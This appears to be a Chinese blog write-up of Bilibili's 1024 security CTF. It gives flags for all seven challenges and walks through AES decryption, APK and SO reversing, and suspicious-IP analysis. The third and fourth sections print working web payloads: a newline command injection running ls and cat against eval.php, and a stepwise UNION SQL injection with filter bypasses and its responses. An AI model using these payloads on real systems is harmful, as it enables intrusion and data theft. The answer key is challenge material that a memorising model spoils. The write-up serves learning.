关于python:当爬虫工程师遇到-CTF丨B-站-1024-安全攻防题解

3次阅读

共计 6497 个字符,预计需要花费 17 分钟才能阅读完成。

答案参考

  • 第一题:a1cd5f84-27966146-3776f301-64031bb9
  • 第二题:36c7a7b4-cda04af0-8db0368d-b5166480
  • 第三题:9d3c3014-6c6267e7-086aaee5-1f18452a
  • 第四题:3d5dd579-0678ef93-18b70cae-cabc5d51
  • 第五题:516834cc-50e448af-bcf9ed53-9ae4328e
  • 第六题:b13981f4-5ae996d4-bc04be5b-34662a78
  • 第七题(局部 IP,可拿 10 分):bba.ja.cca.beg,bba.ja.ccb.cbc,bbb.bb.bjd.bgc,bbb.bb.bjd.bha,bbb.bb.bjd.bhc,bbb.bb.bjd.bhf,bfh.ff.dj.bcf,bfh.ff.dj.bd,bfh.ff.dj.fb,bfh.ff.dj.ig,bfh.ff.dj.jf,cd.baf.cae.cbc,cd.bb.cai.cbh,cdd.bcc.bg.bib,cde.ced.bbb.dd,dc.bb.ii.jj,jj.bdc.bbb.cc

最近看到哔哩哔哩上线了一个 1024 程序员节的流动,其中有一个技术对抗赛,对抗赛又分为算法与平安答题和平安攻防挑战赛,其中平安攻防挑战赛外面有 7 个题,其中有 APP 逆向和解密的题目,作为爬虫工程师,逆向剖析的技能也是必须要有的,于是 K 哥就以爬虫工程师的角度,尝试做了一下其中逆向相干的两个题,发现逆向不是很难,分享一下思路给大家。

(以爬虫工程师的角度剖析平安攻防的题,网安大佬勿喷!局部题目解题思路来源于网安大佬)

  • 局部网络安全题目可参考网安大佬首发思路:https://xingye.me/?p=389
  • 1024 程序员节流动地址:https://www.bilibili.com/blackboard/20211024.html
  • 平安攻防挑战赛地址:https://security.bilibili.com/sec1024/


第一题:加密解密

第一题就给了一串密文,什么提醒也没有,作为爬虫工程师,K 哥纯熟的关上了 F12,翻了翻源码,这里是一个 form 表单,method="post",上面还有一个 id 为 success 的 div 标签,于是初步狐疑是不是把密文解密后发送个 POST 申请,而后 flag 就会显示在这个 id 为 success 的 div 标签下呢?有了想法,K 哥就纯熟的翻起了 JS 代码,因为咱们爬虫遇到最多的就是 JS 加密嘛,而后发现就加载了 jQuery 和一个 common.js 文件,无论是搜寻标签还是怎么,都没有什么有用的信息。

既然不存在 JS 加密,那应该就是硬解密文了,察看这是两段 48 位的密文,也有可能是一段 96 位的密文,而且没有 == 之类的特殊符号,那么就不可能是最简略的 MD5,不过 K 哥还是试了试,将其拆成 6 个 16 位、3 个 32 位等组合,发现都不是 MD5,于是又尝试了多种加密算法,一段作为 KEY,一段作为密文,或者整段组合成密文,SHA、HMAC、RC4 等算法都不行,再仔细观察网页,K 哥狐疑这个 happy_1024_2233 是不是也是加密的一部分呢?会不会是盐值(IV 值,也叫偏移量)?会不会它才是 KEY?后果多种尝试,最终才得出结论:

  • 加密形式 :AES 加密
  • 加密模式 :ECB
  • 填充形式 :无影响,都能够
  • Key:happy_1024_2233
  • 96 位密文 :e9ca6f21583a1533d3ff4fd47ddc463c6a1c7d2cf084d3640408abca7deabb96a58f50471171b60e02b1a8dbd32db156
  • 输入形式 :Hex(十六进制)

解密后果(flag):a1cd5f84-27966146-3776f301-64031bb9

无关各种加密算法原理与实现能够查看 K 哥往期的文章:【爬虫常识】爬虫常见加密解密算法


第二题:前端配置项

第二题的 flag 是 36c7a7b4-cda04af0-8db0368d-b5166480,就在 home.vue 页面的正文里,如下图所示:


第三题:最好的语言

第三题说 PHP 是世界上最好的语言,给了个 eval.php,如图所示:

本题解题思路来源于网安大佬,下载 eval.php,能够看到正则 /^\w+$/,这个能够用结尾接换行符匹配,而后就能够换行用 Linux 命令了:

应用根目录命令 ls 一下,向 http://security.bilibili.com/…[]=1%0a&args[]=ls 发送 GET 申请:

import requests

url = "http://security.bilibili.com/sec1024/q/pro/eval.php?args[]=1%0a&args[]=ls"
response = requests.get(url=url)
print(response.text)

返回内容:

1.txt
passwd
data
config

flag 在 passwd 里,其余就不看了,所以间接应用 Linux 命令 cat passwd,向 http://security.bilibili.com/…[]=1%0a&args[]=cat&args[]=passwd 发送 GET 申请:

import requests

url = "http://security.bilibili.com/sec1024/q/pro/eval.php?args[]=1%0a&args[]=cat&args[]=passwd"
response = requests.get(url=url)
print(response.text)

返回 flag:9d3c3014-6c6267e7-086aaee5-1f18452a


第四题:SQL 注入

本题解题思路来源于网安大佬,给的网址和第二题一样,找一下网页上的按钮,点日志信息可看到日志申请,能够从日志 api 动手,抓包日志 api 为:https://security.bilibili.com/sec1024/q/admin/api/v1/log/list,绕过空格过滤尝试通过且回显,Python 发送 POST:

PS:留神每次申请 user_name 字段的变动

import requests

url = "https://security.bilibili.com/sec1024/q/admin/api/v1/log/list"
json_data = {"user_id": "","user_name":"1/**/union/**/select/**/database(),user(),3,4,5","action":"",
    "page": 1,
    "size": 20
}

response = requests.post(url=url, json=json_data)
print(response.text)

返回内容:

{
     "code": 200,
     "data": {
          "res_list": [
               {
                    "action": "4",
                    "id": "q",
                    "time": "5",
                    "user_id": "test@10.34.12.128",
                    "user_name": "3"
               }
          ],
          "total": 1
     },
     "msg": ""
}

获取表名:

import requests

url = "https://security.bilibili.com/sec1024/q/admin/api/v1/log/list"
json_data = {"user_id": "","user_name":"1/**/union/**/select/**/database(),user(),3,4,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()#","action":"",
    "page": 1,
    "size": 20
}

response = requests.post(url=url, json=json_data)
print(response.text)

返回内容,能够失去 flag、log、user:

{
     "code": 200,
     "data": {
          "res_list": [
               {
                    "action": "4",
                    "id": "q",
                    "time": "flag,log,user",
                    "user_id": "test@10.34.12.128",
                    "user_name": "3"
               }
          ],
          "total": 1
     },
     "msg": ""
}

获取 flag 表的字段,因为不能引号所以用十六进制绕过,flag 十六进制即 666c6167

import requests

url = "https://security.bilibili.com/sec1024/q/admin/api/v1/log/list"
json_data = {"user_id": "","user_name":"1/**/union/**/select/**/database(),user(),3,4,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema=database()/**/and/**/table_name=0x666c6167#","action":"",
    "page": 1,
    "size": 20
}

response = requests.post(url=url, json=json_data)
print(response.text)

返回内容能够失去一个字段,id:

{
     "code": 200,
     "data": {
          "res_list": [
               {
                    "action": "4",
                    "id": "q",
                    "time": "id",
                    "user_id": "test@10.34.12.128",
                    "user_name": "3"
               }
          ],
          "total": 1
     },
     "msg": ""
}

最初间接拿下 flag:

import requests

url = "https://security.bilibili.com/sec1024/q/admin/api/v1/log/list"
json_data = {"user_id": "","user_name":"1/**/union/**/select/**/database(),user(),3,4,group_concat(id)/**/from/**/flag#","action":"",
    "page": 1,
    "size": 20
}

response = requests.post(url=url, json=json_data)
print(response.text)

返回内容 3d5dd579-0678ef93-18b70cae-cabc5d51 为 flag:

{
     "code": 200,
     "data": {
          "res_list": [
               {
                    "action": "4",
                    "id": "q",
                    "time": "3d5dd579-0678ef93-18b70cae-cabc5d51",
                    "user_id": "test@10.34.12.128",
                    "user_name": "3"
               }
          ],
          "total": 1
     },
     "msg": ""
}

第五题:APP 逆向

第五题是一个安卓逆向题,如图所示:

扔到模拟器看看,大略是输出账号密码,谬误的话提醒“还差一点点~~”,正确的话应该就能拿到 flag 了。

间接把 apk 扔到 JADX 里看看,没有混同,代码高深莫测,尤其这个 Encrypt 最为显眼:

剖析代码:MainActivity.java 里,输出账号密码赋值给 obj 和 obj2,再顺次调用 Encrypt.java 里的办法进行按位异或 3 的运算和 base64 编码,而后应用 Arrays.equals 办法将解决后的账号密码与正确的账号密码进行比照,正确就输入 bilibili- (゜ - ゜) つロ 乾杯~,不是很简单,能够应用 Java 复现,也能够应用 Python 逆向倒推正确的账号密码,应用 Python 复现的时候要留神,给出的正确账号密码是 Java 的两个字节数组,在 Python 中是没有字节数组这个概念的,Python 和 Java 字节的取值范畴也不同,Python3 是 0~256,Java 是 -127~128,所以在转换的时候留神须要挪动 256 位,Python 推导残缺代码如下:

import base64

byte_arr1 = [78, 106, 73, 49, 79, 122, 65, 51, 89, 71, 65, 117, 78, 106, 78, 109, 78, 122, 99, 55, 89, 109, 85, 61]
byte_arr2 = [89, 87, 66, 108, 79, 109, 90, 110, 78, 106, 65, 117, 79, 109, 74, 109, 78, 122, 65, 120, 79, 50, 89, 61]

byte_arr1_ = bytes(b % 256 for b in byte_arr1)
byte_arr2_ = bytes(b % 256 for b in byte_arr2)

bs64_arr1 = base64.b64decode(byte_arr1_)
bs64_arr2 = base64.b64decode(byte_arr2_)

username = password = ""

for i in range(len(bs64_arr1)):
    username += chr(bs64_arr1[i] ^ 3)

for i in range(len(bs64_arr2)):
    password += chr(bs64_arr2[i] ^ 3)

print("username:", username)
print("password:", password)
print("flag:", username + "-" + password)

输入:

username:  516834cc-50e448af
password:  bcf9ed53-9ae4328e
flag:  516834cc-50e448af-bcf9ed53-9ae4328e

在模拟器 APP 中输出账号密码测试胜利:


第六题:IDA 逆向 SO

第五题和第六题题目尽管是一样的,然而 flag 不一样,第六题须要逆向 SO,会验证 abi 和零碎版本,改 build.prop,ro.product.cpu.abi 为 x86,ro.build.version.release 为 9,而后再创立 /data/2233,4 byte 一组就会变成 flag:b13981f4-5ae996d4-bc04be5b-34662a78


第七题:风控歹意 IP

最初一题是找到所有的歹意 IP 后,通过通过英文逗号分隔成一个字符串后提交,零碎会依据提交的 IP 正确数计算分数,这个题不晓得具体怎么判断,K 哥尝试了应用 Python 把所有 IP 提取进去之后放到 Excel 里找出反复次数过多的 IP:

bba.ja.cca.beg,bba.ja.ccb.cbc,bbb.bb.bjd.bgc,bbb.bb.bjd.bha,bbb.bb.bjd.bhc,bbb.bb.bjd.bhf,bfh.ff.dj.bcf,bfh.ff.dj.bd,bfh.ff.dj.fb,bfh.ff.dj.ig,bfh.ff.dj.jf,cd.baf.cae.cbc,cd.bb.cai.cbh,cdd.bcc.bg.bib,cde.ced.bbb.dd,dc.bb.ii.jj,jj.bdc.bbb.cc

这个答案只得了 10 分,实际上如同只有有一个正确的就是 10 分,满分是 20 分,可能有错的或者少的,这个题必定没这么简略,必定还要利用其余判断办法的, 比方判断 UA、Path、Referer、同一个 UA 不同 IP 屡次拜访等 ,如果有思路的大佬能够评论讲一下。


总结

局部题目比较简单,只不过没有提醒,像第一题就须要熟练掌握各种加密算法能力很快推断出加密形式,否则只能一个一个去试了,剩下的题就须要肯定的网络安全常识了,各位爬虫大佬们也能够去试试。


正文完
 0